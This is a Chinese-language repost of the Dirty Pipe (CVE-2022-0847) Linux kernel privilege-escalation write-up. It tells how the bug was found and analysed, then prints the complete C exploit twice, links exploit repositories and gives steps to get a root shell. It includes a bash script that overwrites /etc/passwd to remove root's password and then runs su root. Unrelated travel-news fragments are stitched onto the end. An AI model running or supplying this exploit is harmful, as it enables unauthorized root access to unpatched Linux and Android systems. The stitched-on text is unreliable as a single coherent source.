Linux内核本地提权漏洞实操
漏洞描述
Dirty Pipe漏洞
它是自 5.8 以来 Linux 内核中的一个漏洞,它允许覆盖任意只读文件中的数据。 这会导致权限提升,因为非特权进程可以将代码注入root进程。
它类似于CVE-2016-5195 "Dirty Cow",但 更容易被利用 。
该漏洞已 在 Linux 5.16.11、5.15.25 和 5.10.102 中修复。 安全研究员 Max Kellermann 负责任地披露了"脏管道"漏洞,并表示 它会影响 Linux Kernel 5.8 及更高版本,甚至在 Android 设备上也是如此。 自 5.8 以来 Linux 内核中的一个漏洞,它允许覆盖任意只读文件中的数据。这会导致权限提升,因为非特权进程可以将代码注入根进程。 发现新管道缓冲区结构的"标志"成员在 Linux 内核中的 copy_page_to_iter_pipe 和 push_pipe 函数中缺乏正确初始化的方式存在缺陷,因此可能包含陈旧值。非特权本地用户可以使用此漏洞写入由只读文件支持的页面缓存中的页面,从而提升他们在系统上的权限。 此漏洞影响 5.17-rc6 之前的 Linux 内核版本 。它类似于CVE-2016-5195 "Dirty Cow",但更容易被利用。 该漏洞已在 Linux 5.16.11、5.15.25 和 5.10.102 中修复。 漏洞严重性攻击复杂性:低 攻击向量:本地 可用性影响:- 保密影响:- 完整性影响:高 特权要求:- 范围: – 用户交互:- 版本:3.1 基数:- 基础严重性:- 漏洞是如何被发现的腐败点 一
这一切都始于一年前关于损坏文件的投票。有客户抱怨下载的访问日志无法解压。事实上,其中一台日志服务器上有一个损坏的日志文件;可以解压,但是gzip报CRC错误。我无法解释它为什么会损坏,但我认为夜间拆分过程已经崩溃并留下了一个损坏的文件。我手动修复了文件的 CRC,关闭了工单,很快就忘记了这个问题。
几个月后,这种情况一次又一次地发生。每次,文件的内容看起来都是正确的,只有文件末尾的 CRC 是错误的。现在,有了几个损坏的文件,我能够更深入地挖掘并发现一种令人惊讶的损坏。一种模式出现了。 访问日志
让我简单介绍一下我们的日志服务器是如何工作的:在 CM4all 托管环境中,所有 Web 服务器(运行我们的自定义开源 HTTP 服务器)发送 UDP 多播数据报,其中包含有关每个 HTTP 请求的元数据。这些由运行Pond的日志服务器接收,Pond是我们自定义的开源内存数据库。每晚的作业将前一天的所有访问日志拆分为每个托管网站一个,每个都用zlib压缩。
通过 HTTP,可以将一个月的所有访问日志下载为单个 .gz文件。使用一个技巧(其中涉及Z_SYNC_FLUSH),我们可以连接所有 gzip 压缩的每日日志文件,而无需解压缩和重新压缩它们,这意味着这个 HTTP 请求几乎不消耗 CPU。splice()通过使用系统调用将数据直接从硬盘馈送到 HTTP 连接,而不通过内核/用户空间边界("零复制"),可以节省内存带宽 。
Windows 用户无法处理.gz文件,但每个人都可以提取 ZIP 文件。ZIP 文件只是文件的容器.gz,因此我们可以使用相同的方法即时生成 ZIP 文件;我们需要做的就是首先发送一个 ZIP 标头,然后.gz 像往常一样连接所有文件内容,然后是中央目录(另一种标头)。 腐败点 二
这是正确的每日文件的结尾的样子: 000005f0 81 d6 94 39 8a 05 b0 ed e9 c0 fd 07 00 00 ff ff 00000600 03 00 9c 12 0b f5 f7 4a 00 00
这是允许简单连接 的同步刷新。是一个空的"最终"块,后面是 CRC32 ( ) 和未压缩的文件长度(= 19191 字节)。00 00 ff ff03 000xf50b129c0x00004af7
相同的文件但已损坏: 000005f0 81 d6 94 39 8a 05 b0 ed e9 c0 fd 07 00 00 ff ff 00000600 03 00 50 4b 01 02 1e 03 14 00
同步刷新在那里,空的最终块在那里,但未压缩的长度现在0x0014031e= 1.3 MB(这是错误的,它与上述相同的 19 kB 文件)。CRC32 是0x02014b50,与文件内容不匹配。为什么?这是我们日志客户端中的越界写入还是堆损坏错误?
我比较了所有已知损坏的文件,令我惊讶的是,它们都具有相同的 CRC32 和相同的"文件长度"值。始终相同的 CRC – 这意味着这不可能是 CRC 计算的结果。对于损坏的数据,我们会看到不同(但错误)的 CRC 值。几个小时以来,我一直盯着代码中的漏洞,但找不到解释。
然后我盯着这8个字节。最终,我意识到这 是"P"和"K"的ASCII码。"PK",这就是所有 ZIP 标头的开始方式。我们再来看看这8个字节:50 4b 50 4b 01 02 1e 03 14 00 50 4b是"PK" 01 02是中央目录文件头的代码。 "版本由" = ; = 30 (3.0); = UNIX1e 030x1e0x03 "需要提取的版本" = ; = 20 (2.0)14 000x0014
其余的都不见了;标头显然在 8 个字节后被截断。
这确实是 ZIP 中央目录文件头的开头,这不是巧合。但是写入这些文件的进程没有生成此类标头的代码。无奈之下,我查看了 zlib 源代码和该进程使用的所有其他库,但一无所获。该软件对"PK"标头一无所知。
但是,有一个过程会生成"PK"标头;它是即时构建 ZIP 文件的 Web 服务。但是此过程以不同的用户身份运行,该用户对这些文件没有写权限。不可能是那个过程。
这一切都毫无意义,但新的支持票不断涌入(速度非常缓慢)。有一些系统性的问题,但我就是没能抓住它。这让我很沮丧,但我正忙于其他任务,我一直把这个文件损坏问题推到我队列的后面。 腐败点 三
外部压力把这个问题带回了我的意识。我扫描了整个硬盘上的损坏文件(花了两天时间),希望能出现更多的模式。确实,有一个模式: 过去 3 个月内有 37 个损坏文件 它们发生在 22 个不同的日子 18 那些日子有 1 腐败 1 天有 2 次腐败 (2021-11-21) 1天有7个腐败(2021-11-30) 1 天有 6 次腐败 (2021-12-31) 1天有4次腐败(2022-01-31)
每个月的最后一天显然是最容易发生腐败的一天。
只有主日志服务器有损坏(提供 HTTP 连接和构建 ZIP 文件的服务器)。备用服务器(HTTP 非活动但相同的日志提取过程)的损坏为零。两台服务器上的数据是相同的,除了那些损坏。
这是由片状硬件引起的吗?内存不好?存储不好?宇宙射线?不,这些症状看起来不像是硬件问题。机器里有鬼?我们需要驱魔人吗? 盯着代码的人
我再次开始盯着我的代码漏洞,这次是 Web 服务。
请记住,Web 服务会写入一个 ZIP 标头,然后用于splice() 发送所有压缩文件,最后write()再次用于"中央目录文件标头",它以 开头,正是损坏。通过网络发送的数据看起来与磁盘上的损坏文件完全一样。但是通过网络发送这个的进程对这些文件没有写权限(甚至没有尝试这样做),它只读取它们。不顾一切和不可能, 一定 是那个过程导致了腐败,但如何呢?50 4b 01 02 1e 03 14 00
我的第一个灵感闪现,为什么总是在一个月的最后一天被破坏。当网站所有者下载访问日志时,服务器会从当月的第一天开始,然后是第二天,以此类推。当然,月底发送的最后一天;每个月的最后一天总是跟在"PK"标题之后。这就是为什么它更有可能在最后一天腐败。(如果请求的月份尚未结束,则其他日期可能会损坏,但这不太可能。)
如何? 盯着内核代码的人
在被困了几个小时之后,在消除了所有绝对不可能的事情之后(在我看来),我得出了一个结论:这一定是一个内核错误。
将数据损坏归咎于 Linux 内核(即其他人的代码)必须是最后的手段。这是不太可能的。内核是一个极其复杂的项目,由成千上万的人使用看似混乱的方法开发;尽管如此,它还是非常稳定和可靠的。但这一次,我确信它一定是内核错误。
在异常清晰的时刻,我破解了两个 C 程序。
一个不断将字符串"AAAAA"的奇数块写入文件(模拟日志拆分器): #include int main(int argc, char **argv) { for (;;) write(1, "AAAAA", 5); } // ./writer >foo
还有一个使用该文件将数据传输到管道 splice(),然后将字符串"BBBBB"写入管道(模拟 ZIP 生成器): #define _GNU_SOURCE #include #include int main(int argc, char **argv) { for (;;) { splice(0, 0, 1, 0, 2, 0); write(1, "BBBBB", 5); } } // ./splicer /dev/null
我将这两个程序复制到日志服务器,然后…… 宾果游戏 !字符串"BBBBB"开始出现在文件中,即使没有人将此字符串写入文件(仅由没有写入权限的进程写入管道)。
所以这真的是一个内核错误!
一旦可以复制,所有错误都会变得浅薄。快速检查确认此错误影响 Linux 5.10 (Debian Bullseye) 但不影响 Linux 4.19 (Debian Buster)。在 v4.19 和 v5.10 之间有 185.011 次 git 提交,但是由于有了 ,只需 17 个步骤就可以找到错误的提交。git bisect
bisect 到达提交f6dd975583bd,它重构了匿名管道缓冲区的管道缓冲区代码。它改变了对管道进行"可合并"检查的方式。 管道、缓冲区和页面
为什么管呢?在我们的设置中,生成 ZIP 文件的 Web 服务通过管道与 Web 服务器通信;它讨论了我们发明的Web 应用程序套接字协议,因为我们对 CGI、FastCGI 和 AJP 不满意。使用管道而不是在套接字上进行多路复用(如 FastCGI 和 AJP 所做的)有一个主要优势:您可以splice()在应用程序和 Web 服务器中使用以获得最大效率。这减少了让 Web 应用程序脱离进程的开销(与在 Web 服务器进程内运行 Web 服务相反,就像 Apache 模块那样)。这允许在不牺牲(很多)性能的情况下进行权限分离。
Linux 内存管理的小绕道:CPU 管理的最小内存单位是一个 页面 (通常为 4 kB)。Linux 内存管理的最低层中的一切都是关于页面的。如果应用程序向内核请求内存,它将获得许多(匿名)页面。所有文件 I/O 也与页面有关:如果您从文件中读取数据,内核首先会从硬盘复制一些 4 kB 块到内核内存中,由称为 页面缓存的子系统管理 . 从那里,数据将被复制到用户空间。页面缓存中的副本会保留一段时间,可以再次使用它,避免不必要的硬盘 I/O,直到内核决定它可以更好地使用该内存("回收")。不是将文件数据复制到用户空间内存,而是由页面缓存管理的页面可以使用mmap()系统调用直接映射到用户空间(以增加页面错误和 TLB 刷新为代价的减少内存带宽的权衡)。Linux 内核有更多技巧:sendfile()系统调用允许应用程序将文件内容发送到套接字,而无需往返用户空间(在通过 HTTP 提供静态文件的 Web 服务器中流行的优化)。系统splice()调用是一种概括sendfile():如果传输的任一侧是 管道 ,它允许相同的优化;另一端几乎可以是任何东西(另一个管道、文件、套接字、块设备、字符设备)。内核通过传递 页面 引用来实现这一点,而不是实际复制任何东西(零复制)。
管道 是一种用于单向进程间通信的工具。一端用于将数据推送到其中,另一端可以提取该数据。Linux 内核通过一个struct pipe_buffer环 来实现这一点,每个 struct pipe_buffer 都指向一个 页面 。第一次写入管道会分配一个页面(用于 4 kB 数据的空间)。如果最近的写入没有完全填满页面,则后续写入可能会附加到该现有页面而不是分配新页面。这就是"匿名"管道缓冲区的工作方式(anon_pipe_buf_ops)。
然而,如果你将splice()数据从一个文件导入到管道中,内核会首先将数据加载到 页面缓存 中。然后它将在页面缓存内创建一个指向(零副本),但与匿名管道缓冲区不同,写入管道的附加数据不得附加到此类页面,因为该页面由页面缓存拥有,而不是由管道拥有.struct pipe_buffer
检查是否可以将新数据附加到现有管道缓冲区的历史记录: 很久以前,有一面旗帜叫 。struct pipe_buf_operationscan_merge 提交 5274f052e7b3 "Introduce sys_splice() 系统调用"(Linux 2.6.16, 2006) 以splice()系统调用为特色,介绍 了 指向页面缓存的管道缓冲区page_cache_pipe_buf_ops的实现,第一个带有(不可合并)。struct pipe_buf_operationscan_merge=0 提交 01e7187b4119 "pipe: stop using ->can_merge"(Linux 5.0, 2019) 将can_merge标志转换为指针比较,因为仅 设置了此标志。struct pipe_buf_operationsanon_pipe_buf_ops 提交 f6dd975583bd "pipe: merge anon_pipe_buf*_ops"(Linux 5.8, 2020) 将此指针比较转换为 per-buffer flag PIPE_BUF_FLAG_CAN_MERGE。
多年来,这个检查被来回重构,这还可以。或者是吗? 未初始化
几年前PIPE_BUF_FLAG_CAN_MERGE诞生,commit 241699cd72a8 "new iov_iter flavor: pipe-backed"(Linux 4.9, 2016) 添加了两个新函数,它们分配一个新的,但它的成员的初始化丢失了。现在可以使用任意标志创建页面缓存引用,但这并不重要。从技术上讲,这是一个错误,尽管当时没有任何后果,因为所有现有的标志都相当无聊。struct pipe_bufferflags
这个错误在 Linux 5.8 中突然变得很严重,提交 f6dd975583bd "pipe: merge anon_pipe_buf*_ops"。通过注入PIPE_BUF_FLAG_CAN_MERGE页面缓存引用,可以覆盖页面缓存中的数据,只需将新数据写入以特殊方式准备的管道即可。 腐败点 四
这解释了文件损坏:首先,一些数据被写入管道,然后大量文件被拼接,创建页面缓存引用。随机地,那些可能或可能没有 PIPE_BUF_FLAG_CAN_MERGE设置。如果是,那么write()写入中央目录文件头的调用将被写入最后一个压缩文件的页面缓存。
但为什么只有该标头的前 8 个字节?实际上,所有标头都被复制到页面缓存中,但此操作不会增加文件大小。原始文件最后只有 8 个字节的"未拼接"空间,只有这些字节可以被覆盖。从页面缓存的角度来看,页面的其余部分是未使用的(尽管管道缓冲区代码确实使用它,因为它有自己的页面填充管理)。
为什么这种情况不会更频繁地发生?因为页面缓存不会写回磁盘,除非它认为页面是"脏的"。意外覆盖页面缓存中的数据不会使页面"脏"。如果没有其他进程碰巧"弄脏"该文件,则此更改将是短暂的;在下一次重新启动之后(或者在内核决定从缓存中删除页面之后,例如在内存压力下回收),更改被恢复。 这允许有趣的攻击,而不会在硬盘上留下痕迹。 利用
在我的第一个漏洞利用(我用于 bisect 的"writer"/"splicer"程序)中,我假设这个 bug 只能在特权进程写入文件时被利用,并且它取决于时间。
当我意识到真正的问题是什么时,我能够大大扩大漏洞:即使在没有写入器的情况下,也可以在(几乎)任意位置用任意数据覆盖页面缓存,没有时间限制. 限制是: 攻击者必须具有读取权限(因为它需要将 splice()页面放入管道) 偏移量不能在页面边界上(因为该页面的至少一个字节必须已拼接到管道中) 写入不能跨越页面边界(因为将为其余部分创建一个新的匿名缓冲区) 文件无法调整大小(因为管道有自己的页面填充管理,并且不会告诉页面缓存附加了多少数据)
要利用此漏洞,您需要: 创建管道。 用任意数据填充管道( PIPE_BUF_FLAG_CAN_MERGE在所有环条目中设置标志)。 排干管道(在环上的所有实例中设置标志)。struct pipe_bufferstruct pipe_inode_info 将目标文件(以 开头O_RDONLY)中的数据从目标偏移之前的位置拼接到管道中。 将任意数据写入管道;此数据将覆盖缓存的文件页面,而不是创建新的异常,因为已设置。struct pipe_bufferPIPE_BUF_FLAG_CAN_MERGE
为了让这个漏洞更有趣,它不仅可以在没有写权限的情况下工作,它还可以用于不可变文件、只读 btrfs 快照和只读挂载(包括 CD-ROM 挂载)。这是因为页面缓存始终是可写的(由内核),并且写入管道从不检查任何权限。 POC
这是我的漏洞概念验证: exploit.c/* SPDX-License-Identifier: GPL-2.0 */ /* * Copyright 2022 CM4all GmbH / IONOS SE * * author: Max Kellermann * * Proof-of-concept exploit for the Dirty Pipe * vulnerability (CVE-2022-0847) caused by an uninitialized * "pipe_buffer.flags" variable. It demonstrates how to overwrite any * file contents in the page cache, even if the file is not permitted * to be written, immutable or on a read-only mount. * * This exploit requires Linux 5.8 or later; the code path was made * reachable by commit f6dd975583bd ("pipe: merge * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was * there before, it just provided an easy way to exploit it. * * There are two major limitations of this exploit: the offset cannot * be on a page boundary (it needs to write one byte before the offset * to add a reference to this page to the pipe), and the write cannot * cross a page boundary. * * Example: ./write_anything /root/.ssh/authorized_keys 1 #39; ssh-ed25519 AAA...... " * * Further explanation: https://dirtypipe.cm4all.com/ */ #define _GNU_SOURCE #include #include #include #include #include #include #include #ifndef PAGE_SIZE #define PAGE_SIZE 4096 #endif /** * Create a pipe where all "bufs" on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */ static void prepare_pipe(int p[2]) { if (pipe(p)) abort(); const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096]; /* fill the pipe completely; each pipe_buffer will now have the PIPE_BUF_FLAG_CAN_MERGE flag */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; } /* drain the pipe, freeing all pipe_buffer instances (but leaving the flags initialized) */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; } /* the pipe is now empty, and if somebody adds a new pipe_buffer without initializing its "flags", the buffer will be mergeable */ } int main(int argc, char **argv) { if (argc != 4) { fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA ", argv[0]); return EXIT_FAILURE; } /* dumb command-line argument parser */ const char *const path = argv[1]; loff_t offset = strtoul(argv[2], NULL, 0); const char *const data = argv[3]; const size_t data_size = strlen(data); if (offset % PAGE_SIZE == 0) { fprintf(stderr, "Sorry, cannot start writing at a page boundary "); return EXIT_FAILURE; } const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; const loff_t end_offset = offset + (loff_t)data_size; if (end_offset > next_page) { fprintf(stderr, "Sorry, cannot write across a page boundary "); return EXIT_FAILURE; } /* open the input file and validate the specified offset */ const int fd = open(path, O_RDONLY); // yes, read-only! if (fd < 0) { perror("open failed"); return EXIT_FAILURE; } struct stat st; if (fstat(fd, &st)) { perror("stat failed"); return EXIT_FAILURE; } if (offset > st.st_size) { fprintf(stderr, "Offset is not inside the file "); return EXIT_FAILURE; } if (end_offset > st.st_size) { fprintf(stderr, "Sorry, cannot enlarge the file "); return EXIT_FAILURE; } /* create the pipe with all flags initialized with PIPE_BUF_FLAG_CAN_MERGE */ int p[2]; prepare_pipe(p); /* splice one byte from before the specified offset into the pipe; this will add a reference to the page cache, but since copy_page_to_iter_pipe() does not initialize the "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ --offset; ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); if (nbytes < 0) { perror("splice failed"); return EXIT_FAILURE; } if (nbytes == 0) { fprintf(stderr, "short splice "); return EXIT_FAILURE; } /* the following write will not create a new pipe_buffer, but will instead write into the page cache, because of the PIPE_BUF_FLAG_CAN_MERGE flag */ nbytes = write(p[1], data, data_size); if (nbytes < 0) { perror("write failed"); return EXIT_FAILURE; } if ((size_t)nbytes < data_size) { fprintf(stderr, "short write "); return EXIT_FAILURE; } printf("It worked! "); return EXIT_SUCCESS; } 时间线2021-04-29:关于文件损坏的第一个支持票 2022-02-19:文件损坏问题被确定为 Linux 内核错误,结果证明这是一个可利用的漏洞 2022-02-20:向Linux 内核安全团队发送错误报告、漏洞利用和补丁 2022-02-21:在 Google Pixel 6 上重现错误;发送给 Android 安全团队的错误报告 2022-02-21: 按照 Linus Torvalds、Willy Tarreau 和 Al Viro 的建议,将补丁发送到 LKML(不含漏洞详细信息) 2022-02-23:带有我的错误修复的Linux稳定版本 (5.16.11、5.15.25、5.10.102) 2022-02-24:Google 将我的错误修复合并到 Android 内核中 2022-02-28:通知linux-distros 邮件列表 2022-03-07:公开披露 漏洞利用:gcc exploit.c -o exploit
https://github.com/antx-code/CVE-2022-0847
下载poc
https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.zip
编译./compile.sh(假设gcc已安装)
运行./exploit它会弹出一个root shell su:必须从终端运行
如果您收到此错误消息: root使用密码登录aaron。 /etc/passwd然后,通过运行恢复mv /tmp/passwd.bak /etc/passwd
(哎呀抱歉我的笔记本电脑电池快没电了,我的充电器坏了,所以我现在没有时间解决这个问题,抱歉)
或者使用此sh文件进行提权:
https://github.com/imfiver/CVE-2022-0847 #/bin/bash cat>exp.c< * * Proof-of-concept exploit for the Dirty Pipe * vulnerability (CVE-2022-0847) caused by an uninitialized * "pipe_buffer.flags" variable. It demonstrates how to overwrite any * file contents in the page cache, even if the file is not permitted * to be written, immutable or on a read-only mount. * * This exploit requires Linux 5.8 or later; the code path was made * reachable by commit f6dd975583bd ("pipe: merge * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was * there before, it just provided an easy way to exploit it. * * There are two major limitations of this exploit: the offset cannot * be on a page boundary (it needs to write one byte before the offset * to add a reference to this page to the pipe), and the write cannot * cross a page boundary. * * Example: ./write_anything /root/.ssh/authorized_keys 1 #39; ssh-ed25519 AAA...... " * * Further explanation: https://dirtypipe.cm4all.com/ */ #define _GNU_SOURCE #include #include #include #include #include #include #include #ifndef PAGE_SIZE #define PAGE_SIZE 4096 #endif /** * Create a pipe where all "bufs" on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */ static void prepare_pipe(int p[2]) { if (pipe(p)) abort(); const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096]; /* fill the pipe completely; each pipe_buffer will now have the PIPE_BUF_FLAG_CAN_MERGE flag */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; } /* drain the pipe, freeing all pipe_buffer instances (but leaving the flags initialized) */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; } /* the pipe is now empty, and if somebody adds a new pipe_buffer without initializing its "flags", the buffer will be mergeable */ } int main(int argc, char **argv) { if (argc != 4) { fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA ", argv[0]); return EXIT_FAILURE; } /* dumb command-line argument parser */ const char *const path = argv[1]; loff_t offset = strtoul(argv[2], NULL, 0); const char *const data = argv[3]; const size_t data_size = strlen(data); if (offset % PAGE_SIZE == 0) { fprintf(stderr, "Sorry, cannot start writing at a page boundary "); return EXIT_FAILURE; } const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; const loff_t end_offset = offset + (loff_t)data_size; if (end_offset > next_page) { fprintf(stderr, "Sorry, cannot write across a page boundary "); return EXIT_FAILURE; } /* open the input file and validate the specified offset */ const int fd = open(path, O_RDONLY); // yes, read-only! :-) if (fd < 0) { perror("open failed"); return EXIT_FAILURE; } struct stat st; if (fstat(fd, &st)) { perror("stat failed"); return EXIT_FAILURE; } if (offset > st.st_size) { fprintf(stderr, "Offset is not inside the file "); return EXIT_FAILURE; } if (end_offset > st.st_size) { fprintf(stderr, "Sorry, cannot enlarge the file "); return EXIT_FAILURE; } /* create the pipe with all flags initialized with PIPE_BUF_FLAG_CAN_MERGE */ int p[2]; prepare_pipe(p); /* splice one byte from before the specified offset into the pipe; this will add a reference to the page cache, but since copy_page_to_iter_pipe() does not initialize the "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ --offset; ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); if (nbytes < 0) { perror("splice failed"); return EXIT_FAILURE; } if (nbytes == 0) { fprintf(stderr, "short splice "); return EXIT_FAILURE; } /* the following write will not create a new pipe_buffer, but will instead write into the page cache, because of the PIPE_BUF_FLAG_CAN_MERGE flag */ nbytes = write(p[1], data, data_size); if (nbytes < 0) { perror("write failed"); return EXIT_FAILURE; } if ((size_t)nbytes < data_size) { fprintf(stderr, "short write "); return EXIT_FAILURE; } printf("It worked! "); return EXIT_SUCCESS; } EOF gcc exp.c -o exp -std=c99 # 备份密码文件 rm -f /tmp/passwd cp /etc/passwd /tmp/passwd if [ -f "/tmp/passwd" ];then echo "/etc/passwd已备份到/tmp/passwd" passwd_tmp=$(cat /etc/passwd|head) ./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}" echo -e " # 恢复原来的密码 rm -rf /etc/passwd mv /tmp/passwd /etc/passwd" # 现在可以无需密码切换到root账号 su root else echo "/etc/passwd未备份到/tmp/passwd" exit 1 fi
原文出处:https://www.ddosi.org/cve-2022-0847/
广东露营亲水地图出炉!花都湖上榜好消息!广东露营亲水地图新鲜出炉!为进一步引导公众参与河湖管护,共享河湖治理成果,加快形成共建共治共享的水生态文明建设格局,科学指引人民群众亲水乐水,在省河长办的指导下,广东省水利
聚焦两会丨推动中小学生研学旅行落地生根研学旅行是一种集研究性学习与旅游体验于一体的校外学习活动,是学生行走的课堂。开展研学旅游,是创新人才培养模式促进书本知识和生活经验深度融合的重大举措,落实立德树人根本任务的有效途径
中国游客在韩机场遭歧视性对待!王乙康的三个反问,是韩国最应该面对的!根据世界卫生组织获得的信息,中国目前流行的毒株是欧洲和世界其他地方已经存在的毒株对于正在采取预防性旅行措施的欧洲国家来说,我们呼吁这种措施植根于科学适度且具有非歧视性。当地时间10
败家子18元卖掉传家宝,专家价值7800万今天我们把视线放在西昌,众所周知西昌是中国十大最美古城之一,也是大数据统计的中国旅游最令人向往的小城。西昌也是一个少数民族聚居的城市,各式珠宝饰品应有尽有,尤其是西昌玛瑙,就是西昌
穷游还能挣钱?我,90后,毕业7年穷游过20多国,玩着赚到一套房这是我们讲述的第1404位真人故事我是大双儿大双儿流浪地球,一个河南90后姑娘。毕业7年,我一个人拉着行李箱走过了20多个国家,体验过尼泊尔博卡拉的滑翔,看过印度恒河的风景,还见过
名古屋购物6大景点荣商圈大须商店街,永旺梦乐城买到手软来到日本中部想来一趟购物自由行,推荐一定要到爱知县!百货公司购物商场林立的名古屋荣商圈,日式杂货电器行必逛大须商店街,还有两栋超好买的购物商城永旺梦乐城,回程在新特丽亚中部国际机场
2022冬日行广东。南澳岛广东汕头的南澳岛,非常有名的海岛,全国最美的十大海岛名单里一定会有它。今年的冬天,我也是匆匆过客,打卡,看看,拍照,离开!害羞南澳岛是中国唯一一座全岛域为国家AAAA级旅游景区的海
从韩国回国一票难求!究竟哪些人在抢票?1月9日上午,韩国飞中国机票一票难求话题登上热搜。目前首尔飞往北京上海广州的航班已无直达航班,大多数航班需要进行中途转机。对于大家普遍反映的机票价格上涨,回国机票一票难求等问题,售
中国游客回归泰国曼谷辉煌热闹非凡据泰媒PPTV最新消息,自从中国官方宣布放宽出境限制后,越来越多的中国游客将出境游提上日程,泰国也相继迎来众多赴泰中国游客。随着中国游客的回归,泰国各地逐渐恢复热闹场景。据了解,随
青龙古风悠远的山水田园小镇图青龙乡航拍图李月庭摄图塘边山古村陶彩忠摄图塘边山大寨第一道石墙大门陶彩忠摄图青龙月亮山陶彩忠摄陶彩忠赵洋在平乐县东南部,距县城37公里,有一个偏远小乡镇名叫青龙。全乡总共64。3
介休市张壁古堡景区春节期间将举办地道中国年活动黄河新闻网晋中讯(记者李炳仪海莲)为吸引游客出游,加快复苏旅游行业,传承中华优秀传统文化,丰富广大群众节日文化生活,介休市张壁古堡景区将在2023年春节期间举办以烟花唤醒梦,古堡迎